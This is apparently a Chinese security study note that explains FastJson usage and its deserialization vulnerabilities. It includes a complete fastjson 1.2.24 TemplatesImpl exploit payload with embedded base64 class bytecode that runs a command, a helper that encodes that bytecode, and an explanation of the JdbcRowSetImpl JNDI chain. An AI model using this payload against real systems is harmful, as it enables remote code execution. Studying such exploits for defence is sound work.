JavaSec 入门-04-FastJson
前言
乱七八糟原因导致学的又有点慢,fastjson,rmi,jndi,shiro预期会同步开始学,多开几篇笔记写,随时补充更新
FastJson简介及使用
FastJSON 是阿里巴巴开发的一个高效的 Java JSON 处理库,支持 JSON 数据的解析和生成。它以速度快、体积小、易用性高而著称,并提供了对 Java 对象与 JSON 数据之间的快速序列化和反序列化功能。
在项目中添加依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version> <!-- 请根据需要选择版本 -->
</dependency>
简单使用:
先准备一个 JavaBean ,在这里我们用lombok
省去了繁琐的set
,get
和构造方法
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person {
private String sex;
private String name;
}
// Java 对象转 JSON
Person person = new Person("女", "yanami");
String heroJson = JSON.toJSONString(person);
System.out.println(heroJson);
// JSON 字符串转 Java 对象
String shooter = "{\"name\":\"yanami\",\"sex\":\"女\"}";
Person hero = JSON.parseObject(shooter, Person.class);
System.out.println(hero.toString());
// JSON 解析为 JSONObject
String person2 = "{\"name\":\"黄忠\",\"profession\":\"射手\",\"sex\":\"男\"}";
JSONObject PersonJson = JSON.parseObject(person2);
System.out.println(PersonJson.toJSONString());
// JSON 解析为 JSONArray
String platform = "[{\"name\":\"aniale\",\"id\":\"0529\"},{\"name\":\"null\",\"id\":\"000\"}]";
JSONArray platformArray = JSON.parseArray(platform);
System.out.println(platformArray.toJSONString());
序列化
在这里我们最常用的方法就是JSON.toJSONString()
,该方法有若干重载方法,带有不同的参数,常用的包括以下几个:
- 序列化特性:
com.alibaba.fastjson.serializer.SerializerFeature
,可以通过设置多个特性到FastjsonConfig
中全局使用,也可以在使用具体方法中指定特性。 - 序列化过滤器:
com.alibaba.fastjson.serializer.SerializeFilter
,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。 - 序列化时的配置:
com.alibaba.fastjson.serializer.SerializeConfig
,可以添加特点类型自定义的序列化配置。
反序列化
Fastjson
的反序列化依赖于parse
以及parseObject
方法
- 使用
JSON.parse(jsonString)
和JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在jsonString
中解析字符串获取@type
指定的类,后者则会直接使用参数中的 class。 - fastjson 在创建一个类实例时会通过反射调用类中符合条件的
getter/setter
方法,其中getter
方法需满足条件:方法名长于 4、不是静态方法、以get
开头且第4位是大写字母、方法不能有参数传入、继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
、此属性没有setter
方法;setter
方法需满足条件:方法名长于 4,以set
开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在com.alibaba.fastjson.util.JavaBeanInfo.build()
中。 - 使用
JSON.parseObject(jsonString)
将会返回 JSONObject 对象,且类中的所有getter
与setter
都被调用。 - 如果目标类中私有变量没有
setter
方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField
参数。 - fastjson 在为类属性寻找
get/set
方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_|-
字符串,也就是说哪怕你的字段名叫_a_g_e_
,getter 方法为getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用_
和-
进行组合混淆。 - fastjson 在反序列化时,
Field
类型为byte[]
,将调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
1.2.24
Templates链
影响版本:
fastjson <= 1.2.24
描述:fastjson 默认使用@type
指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的getter/setter
方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了fastjson
反序列化漏洞的大门,为安全研究人员提供了新思路。
我们打一个templates
类加载那个调一下
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
public class Demo {
public static void main(String[] args) {
byte[] buffer = null;
String filepath = "D://Java//Classes/Test.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = ((Base64.Encoder) encoder).encodeToString(buffer);
System.out.println(value);
}
}
生成的 base64 shellcode 塞到下面的_bytecodes
里面
Fastjson默认只会反序列化public修饰的属性,outputProperties
和_bytecodes
由private修饰,必须加入Feature.SupportNonPublicField
在parseObject
中才能触发;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class Test {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAARUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
//因为bytescodes等属性私有,需要加Feature.SupportNonPublicField
}
}
parseObject()
经过一系列封装和调用,处理完key
之后走到了类加载位置
继续跟进,把class
放到mappings
跟进到反序列化部分
调用了构造方法里面的build()
,跟进看一下
开始遍历寻找get
和set
,看到这个get
调用了getOutputProperties
去触发我们的链条
总结下来就是
- 构造一个
TemplatesImpl
类的反序列化字符串,其中_bytecodes
是我们构造的恶意类的类字节码,这个类的父类是AbstractTranslet
,最终这个类会被加载并使用newInstance()
实例化。 - 在反序列化过程中,由于
getter
方法getOutputProperties()
,满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties()
->newTransformer()
->getTransletInstance()
->defineTransletClasses()
/TestClass.newInstance()
JdbcRowSetImpl链
JdbcRowSetImpl
类位于com.sun.rowset.JdbcRowSetImpl
,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup()
参数可控导致的 JNDI 注入。
先看一下 setAutoCommit()
方法,在 this.conn
为空时,将会调用 this.connect()
方法。
方法里调用了 javax.naming.InitialContext#lookup()
方法,参数从成员变量 dataSource
中获取
1.2.25
在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
影响版本:
1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。
安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig
,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。
FastJson与原生反序列化
参考文章
https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.javasec.org/java-vuls/FastJson.html